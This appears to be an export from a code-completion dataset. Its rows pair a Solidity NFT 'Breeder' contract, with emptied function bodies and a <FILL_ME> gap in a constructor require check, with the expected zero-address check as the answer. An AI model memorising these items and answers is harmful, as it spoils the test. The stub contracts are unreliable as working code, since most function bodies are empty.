function pendingRewards(uint256 _tokenId) public view returns (uint256) {
}
function allPendingRewards(address _user) external view returns (uint256) {
}
function claim(uint256 _tokenId) external onlyGenesisOwner(_tokenId) {
}
function setBio(uint256 _tokenId, string memory _text)
external
onlyGenesisOwner(_tokenId)
{
}
function setName(uint256 _tokenId, string memory _text)
external
onlyGenesisOwner(_tokenId)
{
}
function claimAll() external {
}
function setMaxBreedable(uint256 _newLimit) external onlyOwner {
}
function breed(uint256 _numberOfTokens) external {
}
function _mint(address _to, uint256 _amount) internal {
}
function _burn(address _to, uint256 _amount) internal {
}
function _claim(uint256 _tokenId) internal {
}
function _getGenesisCount(address _owner)
internal
view
returns (uint256 _count)
{
}
function _getGenesisIds(address _owner)
internal
view
returns (uint256[] memory)
{
}
}
| address(_genesis)!=address(0),"invalid-genesis" | 326,417 | address(_genesis)!=address(0) |
"invalid-baby" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/interfaces/IERC721Enumerable.sol";
import "./interfaces/IBabyBirdez.sol";
import "./interfaces/ISeedToken.sol";
import "hardhat/console.sol";
contract Breeder is Ownable {
event SeedClaimed(
address indexed user,
uint256 indexed tokenId,
uint256 amount
);
ISeedToken public immutable seed;
IERC721Enumerable public immutable genesis;
IBabyBirdez public immutable baby;
uint256 public immutable breedStart;
// Operation costs
uint256 public constant BREEDING_COST = 600 * (10**18);
uint256 public constant NAME_COST = 300 * (10**18);
uint256 public constant BIO_COST = 100 * (10**18);
// Seed drip per token, per day
uint256 public constant SEED_PER_DAY = 10 * (10**18);
// Max seed drip from this contract
uint256 public constant SEED_AMOUNT = 48_654_500 * (10**18);
// Max totalSupply of mintable Baby
uint256 public maxBreedableBaby = 5000;
// Total Seed claimed from this contract
uint256 public totalSeedClaimed;
// Genesis TokenId -> Seed Claimed
mapping(uint256 => uint256) public seedClaimed;
// Genesis TokenID -> Custom Bio
mapping(uint256 => string) public bio;
// Genesis TokenID -> Custom Name
mapping(uint256 => string) public name;
modifier onlyGenesisOwner(uint256 _tokenId) {
}
constructor(
ISeedToken _seed,
IERC721Enumerable _genesis,
IBabyBirdez _baby
) {
require(address(_seed) != address(0), "invalid-token");
require(address(_genesis) != address(0), "invalid-genesis");
require(<FILL_ME>)
seed = _seed;
genesis = _genesis;
baby = _baby;
breedStart = block.timestamp - 30 days;
}
function pendingRewards(uint256 _tokenId) public view returns (uint256) {
}
function allPendingRewards(address _user) external view returns (uint256) {
}
function claim(uint256 _tokenId) external onlyGenesisOwner(_tokenId) {
}
function setBio(uint256 _tokenId, string memory _text)
external
onlyGenesisOwner(_tokenId)
{
}
function setName(uint256 _tokenId, string memory _text)
external
onlyGenesisOwner(_tokenId)
{
}
function claimAll() external {
}
function setMaxBreedable(uint256 _newLimit) external onlyOwner {
}
function breed(uint256 _numberOfTokens) external {
}
function _mint(address _to, uint256 _amount) internal {
}
function _burn(address _to, uint256 _amount) internal {
}
function _claim(uint256 _tokenId) internal {
}
function _getGenesisCount(address _owner)
internal
view
returns (uint256 _count)
{
}
function _getGenesisIds(address _owner)
internal
view
returns (uint256[] memory)
{
}
}
| address(_baby)!=address(0),"invalid-baby" | 326,417 | address(_baby)!=address(0) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.